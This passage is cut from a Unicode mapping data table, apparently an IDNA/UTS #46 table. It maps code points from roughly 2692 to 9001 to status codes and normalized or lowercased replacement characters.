92,3],[[2693,2699],2],[2700,2],[2701,2],[2702,3],[[2703,2705],2],[2706,3],[[2707,2728],2],[2729,3],[[2730,2736],2],[2737,3],[[2738,2739],2],[2740,3],[[2741,2745],2],[[2746,2747],3],[[2748,2757],2],[2758,3],[[2759,2761],2],[2762,3],[[2763,2765],2],[[2766,2767],3],[2768,2],[[2769,2783],3],[2784,2],[[2785,2787],2],[[2788,2789],3],[[2790,2799],2],[2800,2],[2801,2],[[2802,2808],3],[2809,2],[[2810,2815],2],[2816,3],[[2817,2819],2],[2820,3],[[2821,2828],2],[[2829,2830],3],[[2831,2832],2],[[2833,2834],3],[[2835,2856],2],[2857,3],[[2858,2864],2],[2865,3],[[2866,2867],2],[2868,3],[2869,2],[[2870,2873],2],[[2874,2875],3],[[2876,2883],2],[2884,2],[[2885,2886],3],[[2887,2888],2],[[2889,2890],3],[[2891,2893],2],[[2894,2900],3],[2901,2],[[2902,2903],2],[[2904,2907],3],[2908,1,"ଡ଼"],[2909,1,"ଢ଼"],[2910,3],[[2911,2913],2],[[2914,2915],2],[[2916,2917],3],[[2918,2927],2],[2928,2],[2929,2],[[2930,2935],2],[[2936,2945],3],[[2946,2947],2],[2948,3],[[2949,2954],2],[[2955,2957],3],[[2958,2960],2],[2961,3],[[2962,2965],2],[[2966,2968],3],[[2969,2970],2],[2971,3],[2972,2],[2973,3],[[2974,2975],2],[[2976,2978],3],[[2979,2980],2],[[2981,2983],3],[[2984,2986],2],[[2987,2989],3],[[2990,2997],2],[2998,2],[[2999,3001],2],[[3002,3005],3],[[3006,3010],2],[[3011,3013],3],[[3014,3016],2],[3017,3],[[3018,3021],2],[[3022,3023],3],[3024,2],[[3025,3030],3],[3031,2],[[3032,3045],3],[3046,2],[[3047,3055],2],[[3056,3058],2],[[3059,3066],2],[[3067,3071],3],[3072,2],[[3073,3075],2],[3076,2],[[3077,3084],2],[3085,3],[[3086,3088],2],[3089,3],[[3090,3112],2],[3113,3],[[3114,3123],2],[3124,2],[[3125,3129],2],[[3130,3131],3],[3132,2],[3133,2],[[3134,3140],2],[3141,3],[[3142,3144],2],[3145,3],[[3146,3149],2],[[3150,3156],3],[[3157,3158],2],[3159,3],[[3160,3161],2],[3162,2],[[3163,3164],3],[3165,2],[[3166,3167],3],[[3168,3169],2],[[3170,3171],2],[[3172,3173],3],[[3174,3183],2],[[3184,3190],3],[3191,2],[[3192,3199],2],[3200,2],[3201,2],[[3202,3203],2],[3204,2],[[3205,3212],2],[3213,3],[[3214,3216],2],[3217,3],[[3218,3240],2],[3241,3],[[3242,3251],2],[3252,3],[[3253,3257],2],[[3258,3259],3],[[3260,3261],2],[[3262,3268],2],[3269,3],[[3270,3272],2],[3273,3],[[3274,3277],2],[[3278,3284],3],[[3285,3286],2],[[3287,3292],3],[3293,2],[3294,2],[3295,3],[[3296,3297],2],[[3298,3299],2],[[3300,3301],3],[[3302,3311],2],[3312,3],[[3313,3314],2],[3315,2],[[3316,3327],3],[3328,2],[3329,2],[[3330,3331],2],[3332,2],[[3333,3340],2],[3341,3],[[3342,3344],2],[3345,3],[[3346,3368],2],[3369,2],[[3370,3385],2],[3386,2],[[3387,3388],2],[3389,2],[[3390,3395],2],[3396,2],[3397,3],[[3398,3400],2],[3401,3],[[3402,3405],2],[3406,2],[3407,2],[[3408,3411],3],[[3412,3414],2],[3415,2],[[3416,3422],2],[3423,2],[[3424,3425],2],[[3426,3427],2],[[3428,3429],3],[[3430,3439],2],[[3440,3445],2],[[3446,3448],2],[3449,2],[[3450,3455],2],[3456,3],[3457,2],[[3458,3459],2],[3460,3],[[3461,3478],2],[[3479,3481],3],[[3482,3505],2],[3506,3],[[3507,3515],2],[3516,3],[3517,2],[[3518,3519],3],[[3520,3526],2],[[3527,3529],3],[3530,2],[[3531,3534],3],[[3535,3540],2],[3541,3],[3542,2],[3543,3],[[3544,3551],2],[[3552,3557],3],[[3558,3567],2],[[3568,3569],3],[[3570,3571],2],[3572,2],[[3573,3584],3],[[3585,3634],2],[3635,1,"ํา"],[[3636,3642],2],[[3643,3646],3],[3647,2],[[3648,3662],2],[3663,2],[[3664,3673],2],[[3674,3675],2],[[3676,3712],3],[[3713,3714],2],[3715,3],[3716,2],[3717,3],[3718,2],[[3719,3720],2],[3721,2],[3722,2],[3723,3],[3724,2],[3725,2],[[3726,3731],2],[[3732,3735],2],[3736,2],[[3737,3743],2],[3744,2],[[3745,3747],2],[3748,3],[3749,2],[3750,3],[3751,2],[[3752,3753],2],[[3754,3755],2],[3756,2],[[3757,3762],2],[3763,1,"ໍາ"],[[3764,3769],2],[3770,2],[[3771,3773],2],[[3774,3775],3],[[3776,3780],2],[3781,3],[3782,2],[3783,3],[[3784,3789],2],[3790,2],[3791,3],[[3792,3801],2],[[3802,3803],3],[3804,1,"ຫນ"],[3805,1,"ຫມ"],[[3806,3807],2],[[3808,3839],3],[3840,2],[[3841,3850],2],[3851,2],[3852,1,"་"],[[3853,3863],2],[[3864,3865],2],[[3866,3871],2],[[3872,3881],2],[[3882,3892],2],[3893,2],[3894,2],[3895,2],[3896,2],[3897,2],[[3898,3901],2],[[3902,3906],2],[3907,1,"གྷ"],[[3908,3911],2],[3912,3],[[3913,3916],2],[3917,1,"ཌྷ"],[[3918,3921],2],[3922,1,"དྷ"],[[3923,3926],2],[3927,1,"བྷ"],[[3928,3931],2],[3932,1,"ཛྷ"],[[3933,3944],2],[3945,1,"ཀྵ"],[3946,2],[[3947,3948],2],[[3949,3952],3],[[3953,3954],2],[3955,1,"ཱི"],[3956,2],[3957,1,"ཱུ"],[3958,1,"ྲྀ"],[3959,1,"ྲཱྀ"],[3960,1,"ླྀ"],[3961,1,"ླཱྀ"],[[3962,3968],2],[3969,1,"ཱྀ"],[[3970,3972],2],[3973,2],[[3974,3979],2],[[3980,3983],2],[[3984,3986],2],[3987,1,"ྒྷ"],[[3988,3989],2],[3990,2],[3991,2],[3992,3],[[3993,3996],2],[3997,1,"ྜྷ"],[[3998,4001],2],[4002,1,"ྡྷ"],[[4003,4006],2],[4007,1,"ྦྷ"],[[4008,4011],2],[4012,1,"ྫྷ"],[4013,2],[[4014,4016],2],[[4017,4023],2],[4024,2],[4025,1,"ྐྵ"],[[4026,4028],2],[4029,3],[[4030,4037],2],[4038,2],[[4039,4044],2],[4045,3],[4046,2],[4047,2],[[4048,4049],2],[[4050,4052],2],[[4053,4056],2],[[4057,4058],2],[[4059,4095],3],[[4096,4129],2],[4130,2],[[4131,4135],2],[4136,2],[[4137,4138],2],[4139,2],[[4140,4146],2],[[4147,4149],2],[[4150,4153],2],[[4154,4159],2],[[4160,4169],2],[[4170,4175],2],[[4176,4185],2],[[4186,4249],2],[[4250,4253],2],[[4254,4255],2],[4256,1,"ⴀ"],[4257,1,"ⴁ"],[4258,1,"ⴂ"],[4259,1,"ⴃ"],[4260,1,"ⴄ"],[4261,1,"ⴅ"],[4262,1,"ⴆ"],[4263,1,"ⴇ"],[4264,1,"ⴈ"],[4265,1,"ⴉ"],[4266,1,"ⴊ"],[4267,1,"ⴋ"],[4268,1,"ⴌ"],[4269,1,"ⴍ"],[4270,1,"ⴎ"],[4271,1,"ⴏ"],[4272,1,"ⴐ"],[4273,1,"ⴑ"],[4274,1,"ⴒ"],[4275,1,"ⴓ"],[4276,1,"ⴔ"],[4277,1,"ⴕ"],[4278,1,"ⴖ"],[4279,1,"ⴗ"],[4280,1,"ⴘ"],[4281,1,"ⴙ"],[4282,1,"ⴚ"],[4283,1,"ⴛ"],[4284,1,"ⴜ"],[4285,1,"ⴝ"],[4286,1,"ⴞ"],[4287,1,"ⴟ"],[4288,1,"ⴠ"],[4289,1,"ⴡ"],[4290,1,"ⴢ"],[4291,1,"ⴣ"],[4292,1,"ⴤ"],[4293,1,"ⴥ"],[4294,3],[4295,1,"ⴧ"],[[4296,4300],3],[4301,1,"ⴭ"],[[4302,4303],3],[[4304,4342],2],[[4343,4344],2],[[4345,4346],2],[4347,2],[4348,1,"ნ"],[[4349,4351],2],[[4352,4441],2],[[4442,4446],2],[[4447,4448],7],[[4449,4514],2],[[4515,4519],2],[[4520,4601],2],[[4602,4607],2],[[4608,4614],2],[4615,2],[[4616,4678],2],[4679,2],[4680,2],[4681,3],[[4682,4685],2],[[4686,4687],3],[[4688,4694],2],[4695,3],[4696,2],[4697,3],[[4698,4701],2],[[4702,4703],3],[[4704,4742],2],[4743,2],[4744,2],[4745,3],[[4746,4749],2],[[4750,4751],3],[[4752,4782],2],[4783,2],[4784,2],[4785,3],[[4786,4789],2],[[4790,4791],3],[[4792,4798],2],[4799,3],[4800,2],[4801,3],[[4802,4805],2],[[4806,4807],3],[[4808,4814],2],[4815,2],[[4816,4822],2],[4823,3],[[4824,4846],2],[4847,2],[[4848,4878],2],[4879,2],[4880,2],[4881,3],[[4882,4885],2],[[4886,4887],3],[[4888,4894],2],[4895,2],[[4896,4934],2],[4935,2],[[4936,4954],2],[[4955,4956],3],[[4957,4958],2],[4959,2],[4960,2],[[4961,4988],2],[[4989,4991],3],[[4992,5007],2],[[5008,5017],2],[[5018,5023],3],[[5024,5108],2],[5109,2],[[5110,5111],3],[5112,1,"Ᏸ"],[5113,1,"Ᏹ"],[5114,1,"Ᏺ"],[5115,1,"Ᏻ"],[5116,1,"Ᏼ"],[5117,1,"Ᏽ"],[[5118,5119],3],[5120,2],[[5121,5740],2],[[5741,5742],2],[[5743,5750],2],[[5751,5759],2],[5760,3],[[5761,5786],2],[[5787,5788],2],[[5789,5791],3],[[5792,5866],2],[[5867,5872],2],[[5873,5880],2],[[5881,5887],3],[[5888,5900],2],[5901,2],[[5902,5908],2],[5909,2],[[5910,5918],3],[5919,2],[[5920,5940],2],[[5941,5942],2],[[5943,5951],3],[[5952,5971],2],[[5972,5983],3],[[5984,5996],2],[5997,3],[[5998,6000],2],[6001,3],[[6002,6003],2],[[6004,6015],3],[[6016,6067],2],[[6068,6069],7],[[6070,6099],2],[[6100,6102],2],[6103,2],[[6104,6107],2],[6108,2],[6109,2],[[6110,6111],3],[[6112,6121],2],[[6122,6127],3],[[6128,6137],2],[[6138,6143],3],[[6144,6154],2],[[6155,6158],7],[6159,7],[[6160,6169],2],[[6170,6175],3],[[6176,6263],2],[6264,2],[[6265,6271],3],[[6272,6313],2],[6314,2],[[6315,6319],3],[[6320,6389],2],[[6390,6399],3],[[6400,6428],2],[[6429,6430],2],[6431,3],[[6432,6443],2],[[6444,6447],3],[[6448,6459],2],[[6460,6463],3],[6464,2],[[6465,6467],3],[[6468,6469],2],[[6470,6509],2],[[6510,6511],3],[[6512,6516],2],[[6517,6527],3],[[6528,6569],2],[[6570,6571],2],[[6572,6575],3],[[6576,6601],2],[[6602,6607],3],[[6608,6617],2],[6618,2],[[6619,6621],3],[[6622,6623],2],[[6624,6655],2],[[6656,6683],2],[[6684,6685],3],[[6686,6687],2],[[6688,6750],2],[6751,3],[[6752,6780],2],[[6781,6782],3],[[6783,6793],2],[[6794,6799],3],[[6800,6809],2],[[6810,6815],3],[[6816,6822],2],[6823,2],[[6824,6829],2],[[6830,6831],3],[[6832,6845],2],[6846,2],[[6847,6848],2],[[6849,6862],2],[[6863,6911],3],[[6912,6987],2],[6988,2],[6989,3],[[6990,6991],2],[[6992,7001],2],[[7002,7018],2],[[7019,7027],2],[[7028,7036],2],[[7037,7038],2],[7039,2],[[7040,7082],2],[[7083,7085],2],[[7086,7097],2],[[7098,7103],2],[[7104,7155],2],[[7156,7163],3],[[7164,7167],2],[[7168,7223],2],[[7224,7226],3],[[7227,7231],2],[[7232,7241],2],[[7242,7244],3],[[7245,7293],2],[[7294,7295],2],[7296,1,"в"],[7297,1,"д"],[7298,1,"о"],[7299,1,"с"],[[7300,7301],1,"т"],[7302,1,"ъ"],[7303,1,"ѣ"],[7304,1,"ꙋ"],[7305,1,""],[7306,2],[[7307,7311],3],[7312,1,"ა"],[7313,1,"ბ"],[7314,1,"გ"],[7315,1,"დ"],[7316,1,"ე"],[7317,1,"ვ"],[7318,1,"ზ"],[7319,1,"თ"],[7320,1,"ი"],[7321,1,"კ"],[7322,1,"ლ"],[7323,1,"მ"],[7324,1,"ნ"],[7325,1,"ო"],[7326,1,"პ"],[7327,1,"ჟ"],[7328,1,"რ"],[7329,1,"ს"],[7330,1,"ტ"],[7331,1,"უ"],[7332,1,"ფ"],[7333,1,"ქ"],[7334,1,"ღ"],[7335,1,"ყ"],[7336,1,"შ"],[7337,1,"ჩ"],[7338,1,"ც"],[7339,1,"ძ"],[7340,1,"წ"],[7341,1,"ჭ"],[7342,1,"ხ"],[7343,1,"ჯ"],[7344,1,"ჰ"],[7345,1,"ჱ"],[7346,1,"ჲ"],[7347,1,"ჳ"],[7348,1,"ჴ"],[7349,1,"ჵ"],[7350,1,"ჶ"],[7351,1,"ჷ"],[7352,1,"ჸ"],[7353,1,"ჹ"],[7354,1,"ჺ"],[[7355,7356],3],[7357,1,"ჽ"],[7358,1,"ჾ"],[7359,1,"ჿ"],[[7360,7367],2],[[7368,7375],3],[[7376,7378],2],[7379,2],[[7380,7410],2],[[7411,7414],2],[7415,2],[[7416,7417],2],[7418,2],[[7419,7423],3],[[7424,7467],2],[7468,1,"a"],[7469,1,"æ"],[7470,1,"b"],[7471,2],[7472,1,"d"],[7473,1,"e"],[7474,1,"ǝ"],[7475,1,"g"],[7476,1,"h"],[7477,1,"i"],[7478,1,"j"],[7479,1,"k"],[7480,1,"l"],[7481,1,"m"],[7482,1,"n"],[7483,2],[7484,1,"o"],[7485,1,"ȣ"],[7486,1,"p"],[7487,1,"r"],[7488,1,"t"],[7489,1,"u"],[7490,1,"w"],[7491,1,"a"],[7492,1,"ɐ"],[7493,1,"ɑ"],[7494,1,"ᴂ"],[7495,1,"b"],[7496,1,"d"],[7497,1,"e"],[7498,1,"ə"],[7499,1,"ɛ"],[7500,1,"ɜ"],[7501,1,"g"],[7502,2],[7503,1,"k"],[7504,1,"m"],[7505,1,"ŋ"],[7506,1,"o"],[7507,1,"ɔ"],[7508,1,"ᴖ"],[7509,1,"ᴗ"],[7510,1,"p"],[7511,1,"t"],[7512,1,"u"],[7513,1,"ᴝ"],[7514,1,"ɯ"],[7515,1,"v"],[7516,1,"ᴥ"],[7517,1,"β"],[7518,1,"γ"],[7519,1,"δ"],[7520,1,"φ"],[7521,1,"χ"],[7522,1,"i"],[7523,1,"r"],[7524,1,"u"],[7525,1,"v"],[7526,1,"β"],[7527,1,"γ"],[7528,1,"ρ"],[7529,1,"φ"],[7530,1,"χ"],[7531,2],[[7532,7543],2],[7544,1,"н"],[[7545,7578],2],[7579,1,"ɒ"],[7580,1,"c"],[7581,1,"ɕ"],[7582,1,"ð"],[7583,1,"ɜ"],[7584,1,"f"],[7585,1,"ɟ"],[7586,1,"ɡ"],[7587,1,"ɥ"],[7588,1,"ɨ"],[7589,1,"ɩ"],[7590,1,"ɪ"],[7591,1,"ᵻ"],[7592,1,"ʝ"],[7593,1,"ɭ"],[7594,1,"ᶅ"],[7595,1,"ʟ"],[7596,1,"ɱ"],[7597,1,"ɰ"],[7598,1,"ɲ"],[7599,1,"ɳ"],[7600,1,"ɴ"],[7601,1,"ɵ"],[7602,1,"ɸ"],[7603,1,"ʂ"],[7604,1,"ʃ"],[7605,1,"ƫ"],[7606,1,"ʉ"],[7607,1,"ʊ"],[7608,1,"ᴜ"],[7609,1,"ʋ"],[7610,1,"ʌ"],[7611,1,"z"],[7612,1,"ʐ"],[7613,1,"ʑ"],[7614,1,"ʒ"],[7615,1,"θ"],[[7616,7619],2],[[7620,7626],2],[[7627,7654],2],[[7655,7669],2],[[7670,7673],2],[7674,2],[7675,2],[7676,2],[7677,2],[[7678,7679],2],[7680,1,"ḁ"],[7681,2],[7682,1,"ḃ"],[7683,2],[7684,1,"ḅ"],[7685,2],[7686,1,"ḇ"],[7687,2],[7688,1,"ḉ"],[7689,2],[7690,1,"ḋ"],[7691,2],[7692,1,"ḍ"],[7693,2],[7694,1,"ḏ"],[7695,2],[7696,1,"ḑ"],[7697,2],[7698,1,"ḓ"],[7699,2],[7700,1,"ḕ"],[7701,2],[7702,1,"ḗ"],[7703,2],[7704,1,"ḙ"],[7705,2],[7706,1,"ḛ"],[7707,2],[7708,1,"ḝ"],[7709,2],[7710,1,"ḟ"],[7711,2],[7712,1,"ḡ"],[7713,2],[7714,1,"ḣ"],[7715,2],[7716,1,"ḥ"],[7717,2],[7718,1,"ḧ"],[7719,2],[7720,1,"ḩ"],[7721,2],[7722,1,"ḫ"],[7723,2],[7724,1,"ḭ"],[7725,2],[7726,1,"ḯ"],[7727,2],[7728,1,"ḱ"],[7729,2],[7730,1,"ḳ"],[7731,2],[7732,1,"ḵ"],[7733,2],[7734,1,"ḷ"],[7735,2],[7736,1,"ḹ"],[7737,2],[7738,1,"ḻ"],[7739,2],[7740,1,"ḽ"],[7741,2],[7742,1,"ḿ"],[7743,2],[7744,1,"ṁ"],[7745,2],[7746,1,"ṃ"],[7747,2],[7748,1,"ṅ"],[7749,2],[7750,1,"ṇ"],[7751,2],[7752,1,"ṉ"],[7753,2],[7754,1,"ṋ"],[7755,2],[7756,1,"ṍ"],[7757,2],[7758,1,"ṏ"],[7759,2],[7760,1,"ṑ"],[7761,2],[7762,1,"ṓ"],[7763,2],[7764,1,"ṕ"],[7765,2],[7766,1,"ṗ"],[7767,2],[7768,1,"ṙ"],[7769,2],[7770,1,"ṛ"],[7771,2],[7772,1,"ṝ"],[7773,2],[7774,1,"ṟ"],[7775,2],[7776,1,"ṡ"],[7777,2],[7778,1,"ṣ"],[7779,2],[7780,1,"ṥ"],[7781,2],[7782,1,"ṧ"],[7783,2],[7784,1,"ṩ"],[7785,2],[7786,1,"ṫ"],[7787,2],[7788,1,"ṭ"],[7789,2],[7790,1,"ṯ"],[7791,2],[7792,1,"ṱ"],[7793,2],[7794,1,"ṳ"],[7795,2],[7796,1,"ṵ"],[7797,2],[7798,1,"ṷ"],[7799,2],[7800,1,"ṹ"],[7801,2],[7802,1,"ṻ"],[7803,2],[7804,1,"ṽ"],[7805,2],[7806,1,"ṿ"],[7807,2],[7808,1,"ẁ"],[7809,2],[7810,1,"ẃ"],[7811,2],[7812,1,"ẅ"],[7813,2],[7814,1,"ẇ"],[7815,2],[7816,1,"ẉ"],[7817,2],[7818,1,"ẋ"],[7819,2],[7820,1,"ẍ"],[7821,2],[7822,1,"ẏ"],[7823,2],[7824,1,"ẑ"],[7825,2],[7826,1,"ẓ"],[7827,2],[7828,1,"ẕ"],[[7829,7833],2],[7834,1,"aʾ"],[7835,1,"ṡ"],[[7836,7837],2],[7838,1,"ß"],[7839,2],[7840,1,"ạ"],[7841,2],[7842,1,"ả"],[7843,2],[7844,1,"ấ"],[7845,2],[7846,1,"ầ"],[7847,2],[7848,1,"ẩ"],[7849,2],[7850,1,"ẫ"],[7851,2],[7852,1,"ậ"],[7853,2],[7854,1,"ắ"],[7855,2],[7856,1,"ằ"],[7857,2],[7858,1,"ẳ"],[7859,2],[7860,1,"ẵ"],[7861,2],[7862,1,"ặ"],[7863,2],[7864,1,"ẹ"],[7865,2],[7866,1,"ẻ"],[7867,2],[7868,1,"ẽ"],[7869,2],[7870,1,"ế"],[7871,2],[7872,1,"ề"],[7873,2],[7874,1,"ể"],[7875,2],[7876,1,"ễ"],[7877,2],[7878,1,"ệ"],[7879,2],[7880,1,"ỉ"],[7881,2],[7882,1,"ị"],[7883,2],[7884,1,"ọ"],[7885,2],[7886,1,"ỏ"],[7887,2],[7888,1,"ố"],[7889,2],[7890,1,"ồ"],[7891,2],[7892,1,"ổ"],[7893,2],[7894,1,"ỗ"],[7895,2],[7896,1,"ộ"],[7897,2],[7898,1,"ớ"],[7899,2],[7900,1,"ờ"],[7901,2],[7902,1,"ở"],[7903,2],[7904,1,"ỡ"],[7905,2],[7906,1,"ợ"],[7907,2],[7908,1,"ụ"],[7909,2],[7910,1,"ủ"],[7911,2],[7912,1,"ứ"],[7913,2],[7914,1,"ừ"],[7915,2],[7916,1,"ử"],[7917,2],[7918,1,"ữ"],[7919,2],[7920,1,"ự"],[7921,2],[7922,1,"ỳ"],[7923,2],[7924,1,"ỵ"],[7925,2],[7926,1,"ỷ"],[7927,2],[7928,1,"ỹ"],[7929,2],[7930,1,"ỻ"],[7931,2],[7932,1,"ỽ"],[7933,2],[7934,1,"ỿ"],[7935,2],[[7936,7943],2],[7944,1,"ἀ"],[7945,1,"ἁ"],[7946,1,"ἂ"],[7947,1,"ἃ"],[7948,1,"ἄ"],[7949,1,"ἅ"],[7950,1,"ἆ"],[7951,1,"ἇ"],[[7952,7957],2],[[7958,7959],3],[7960,1,"ἐ"],[7961,1,"ἑ"],[7962,1,"ἒ"],[7963,1,"ἓ"],[7964,1,"ἔ"],[7965,1,"ἕ"],[[7966,7967],3],[[7968,7975],2],[7976,1,"ἠ"],[7977,1,"ἡ"],[7978,1,"ἢ"],[7979,1,"ἣ"],[7980,1,"ἤ"],[7981,1,"ἥ"],[7982,1,"ἦ"],[7983,1,"ἧ"],[[7984,7991],2],[7992,1,"ἰ"],[7993,1,"ἱ"],[7994,1,"ἲ"],[7995,1,"ἳ"],[7996,1,"ἴ"],[7997,1,"ἵ"],[7998,1,"ἶ"],[7999,1,"ἷ"],[[8000,8005],2],[[8006,8007],3],[8008,1,"ὀ"],[8009,1,"ὁ"],[8010,1,"ὂ"],[8011,1,"ὃ"],[8012,1,"ὄ"],[8013,1,"ὅ"],[[8014,8015],3],[[8016,8023],2],[8024,3],[8025,1,"ὑ"],[8026,3],[8027,1,"ὓ"],[8028,3],[8029,1,"ὕ"],[8030,3],[8031,1,"ὗ"],[[8032,8039],2],[8040,1,"ὠ"],[8041,1,"ὡ"],[8042,1,"ὢ"],[8043,1,"ὣ"],[8044,1,"ὤ"],[8045,1,"ὥ"],[8046,1,"ὦ"],[8047,1,"ὧ"],[8048,2],[8049,1,"ά"],[8050,2],[8051,1,"έ"],[8052,2],[8053,1,"ή"],[8054,2],[8055,1,"ί"],[8056,2],[8057,1,"ό"],[8058,2],[8059,1,"ύ"],[8060,2],[8061,1,"ώ"],[[8062,8063],3],[8064,1,"ἀι"],[8065,1,"ἁι"],[8066,1,"ἂι"],[8067,1,"ἃι"],[8068,1,"ἄι"],[8069,1,"ἅι"],[8070,1,"ἆι"],[8071,1,"ἇι"],[8072,1,"ἀι"],[8073,1,"ἁι"],[8074,1,"ἂι"],[8075,1,"ἃι"],[8076,1,"ἄι"],[8077,1,"ἅι"],[8078,1,"ἆι"],[8079,1,"ἇι"],[8080,1,"ἠι"],[8081,1,"ἡι"],[8082,1,"ἢι"],[8083,1,"ἣι"],[8084,1,"ἤι"],[8085,1,"ἥι"],[8086,1,"ἦι"],[8087,1,"ἧι"],[8088,1,"ἠι"],[8089,1,"ἡι"],[8090,1,"ἢι"],[8091,1,"ἣι"],[8092,1,"ἤι"],[8093,1,"ἥι"],[8094,1,"ἦι"],[8095,1,"ἧι"],[8096,1,"ὠι"],[8097,1,"ὡι"],[8098,1,"ὢι"],[8099,1,"ὣι"],[8100,1,"ὤι"],[8101,1,"ὥι"],[8102,1,"ὦι"],[8103,1,"ὧι"],[8104,1,"ὠι"],[8105,1,"ὡι"],[8106,1,"ὢι"],[8107,1,"ὣι"],[8108,1,"ὤι"],[8109,1,"ὥι"],[8110,1,"ὦι"],[8111,1,"ὧι"],[[8112,8113],2],[8114,1,"ὰι"],[8115,1,"αι"],[8116,1,"άι"],[8117,3],[8118,2],[8119,1,"ᾶι"],[8120,1,"ᾰ"],[8121,1,"ᾱ"],[8122,1,"ὰ"],[8123,1,"ά"],[8124,1,"αι"],[8125,1," ̓"],[8126,1,"ι"],[8127,1," ̓"],[8128,1," ͂"],[8129,1," ̈͂"],[8130,1,"ὴι"],[8131,1,"ηι"],[8132,1,"ήι"],[8133,3],[8134,2],[8135,1,"ῆι"],[8136,1,"ὲ"],[8137,1,"έ"],[8138,1,"ὴ"],[8139,1,"ή"],[8140,1,"ηι"],[8141,1," ̓̀"],[8142,1," ̓́"],[8143,1," ̓͂"],[[8144,8146],2],[8147,1,"ΐ"],[[8148,8149],3],[[8150,8151],2],[8152,1,"ῐ"],[8153,1,"ῑ"],[8154,1,"ὶ"],[8155,1,"ί"],[8156,3],[8157,1," ̔̀"],[8158,1," ̔́"],[8159,1," ̔͂"],[[8160,8162],2],[8163,1,"ΰ"],[[8164,8167],2],[8168,1,"ῠ"],[8169,1,"ῡ"],[8170,1,"ὺ"],[8171,1,"ύ"],[8172,1,"ῥ"],[8173,1," ̈̀"],[8174,1," ̈́"],[8175,1,"`"],[[8176,8177],3],[8178,1,"ὼι"],[8179,1,"ωι"],[8180,1,"ώι"],[8181,3],[8182,2],[8183,1,"ῶι"],[8184,1,"ὸ"],[8185,1,"ό"],[8186,1,"ὼ"],[8187,1,"ώ"],[8188,1,"ωι"],[8189,1," ́"],[8190,1," ̔"],[8191,3],[[8192,8202],1," "],[8203,7],[[8204,8205],6,""],[[8206,8207],3],[8208,2],[8209,1,"‐"],[[8210,8214],2],[8215,1," ̳"],[[8216,8227],2],[[8228,8230],3],[8231,2],[[8232,8238],3],[8239,1," "],[[8240,8242],2],[8243,1,"′′"],[8244,1,"′′′"],[8245,2],[8246,1,"‵‵"],[8247,1,"‵‵‵"],[[8248,8251],2],[8252,1,"!!"],[8253,2],[8254,1," ̅"],[[8255,8262],2],[8263,1,"??"],[8264,1,"?!"],[8265,1,"!?"],[[8266,8269],2],[[8270,8274],2],[[8275,8276],2],[[8277,8278],2],[8279,1,"′′′′"],[[8280,8286],2],[8287,1," "],[[8288,8291],7],[8292,7],[8293,3],[[8294,8297],3],[[8298,8303],7],[8304,1,"0"],[8305,1,"i"],[[8306,8307],3],[8308,1,"4"],[8309,1,"5"],[8310,1,"6"],[8311,1,"7"],[8312,1,"8"],[8313,1,"9"],[8314,1,"+"],[8315,1,"−"],[8316,1,"="],[8317,1,"("],[8318,1,")"],[8319,1,"n"],[8320,1,"0"],[8321,1,"1"],[8322,1,"2"],[8323,1,"3"],[8324,1,"4"],[8325,1,"5"],[8326,1,"6"],[8327,1,"7"],[8328,1,"8"],[8329,1,"9"],[8330,1,"+"],[8331,1,"−"],[8332,1,"="],[8333,1,"("],[8334,1,")"],[8335,3],[8336,1,"a"],[8337,1,"e"],[8338,1,"o"],[8339,1,"x"],[8340,1,"ə"],[8341,1,"h"],[8342,1,"k"],[8343,1,"l"],[8344,1,"m"],[8345,1,"n"],[8346,1,"p"],[8347,1,"s"],[8348,1,"t"],[[8349,8351],3],[[8352,8359],2],[8360,1,"rs"],[[8361,8362],2],[8363,2],[8364,2],[[8365,8367],2],[[8368,8369],2],[[8370,8373],2],[[8374,8376],2],[8377,2],[8378,2],[[8379,8381],2],[8382,2],[8383,2],[8384,2],[[8385,8399],3],[[8400,8417],2],[[8418,8419],2],[[8420,8426],2],[8427,2],[[8428,8431],2],[8432,2],[[8433,8447],3],[8448,1,"a/c"],[8449,1,"a/s"],[8450,1,"c"],[8451,1,"°c"],[8452,2],[8453,1,"c/o"],[8454,1,"c/u"],[8455,1,"ɛ"],[8456,2],[8457,1,"°f"],[8458,1,"g"],[[8459,8462],1,"h"],[8463,1,"ħ"],[[8464,8465],1,"i"],[[8466,8467],1,"l"],[8468,2],[8469,1,"n"],[8470,1,"no"],[[8471,8472],2],[8473,1,"p"],[8474,1,"q"],[[8475,8477],1,"r"],[[8478,8479],2],[8480,1,"sm"],[8481,1,"tel"],[8482,1,"tm"],[8483,2],[8484,1,"z"],[8485,2],[8486,1,"ω"],[8487,2],[8488,1,"z"],[8489,2],[8490,1,"k"],[8491,1,"å"],[8492,1,"b"],[8493,1,"c"],[8494,2],[[8495,8496],1,"e"],[8497,1,"f"],[8498,1,"ⅎ"],[8499,1,"m"],[8500,1,"o"],[8501,1,"א"],[8502,1,"ב"],[8503,1,"ג"],[8504,1,"ד"],[8505,1,"i"],[8506,2],[8507,1,"fax"],[8508,1,"π"],[[8509,8510],1,"γ"],[8511,1,"π"],[8512,1,"∑"],[[8513,8516],2],[[8517,8518],1,"d"],[8519,1,"e"],[8520,1,"i"],[8521,1,"j"],[[8522,8523],2],[8524,2],[8525,2],[8526,2],[8527,2],[8528,1,"1⁄7"],[8529,1,"1⁄9"],[8530,1,"1⁄10"],[8531,1,"1⁄3"],[8532,1,"2⁄3"],[8533,1,"1⁄5"],[8534,1,"2⁄5"],[8535,1,"3⁄5"],[8536,1,"4⁄5"],[8537,1,"1⁄6"],[8538,1,"5⁄6"],[8539,1,"1⁄8"],[8540,1,"3⁄8"],[8541,1,"5⁄8"],[8542,1,"7⁄8"],[8543,1,"1⁄"],[8544,1,"i"],[8545,1,"ii"],[8546,1,"iii"],[8547,1,"iv"],[8548,1,"v"],[8549,1,"vi"],[8550,1,"vii"],[8551,1,"viii"],[8552,1,"ix"],[8553,1,"x"],[8554,1,"xi"],[8555,1,"xii"],[8556,1,"l"],[8557,1,"c"],[8558,1,"d"],[8559,1,"m"],[8560,1,"i"],[8561,1,"ii"],[8562,1,"iii"],[8563,1,"iv"],[8564,1,"v"],[8565,1,"vi"],[8566,1,"vii"],[8567,1,"viii"],[8568,1,"ix"],[8569,1,"x"],[8570,1,"xi"],[8571,1,"xii"],[8572,1,"l"],[8573,1,"c"],[8574,1,"d"],[8575,1,"m"],[[8576,8578],2],[8579,1,"ↄ"],[8580,2],[[8581,8584],2],[8585,1,"0⁄3"],[[8586,8587],2],[[8588,8591],3],[[8592,8682],2],[[8683,8691],2],[[8692,8703],2],[[8704,8747],2],[8748,1,"∫∫"],[8749,1,"∫∫∫"],[8750,2],[8751,1,"∮∮"],[8752,1,"∮∮∮"],[[8753,8945],2],[[8946,8959],2],[8960,2],[8961,2],[[8962,9000],2],[9001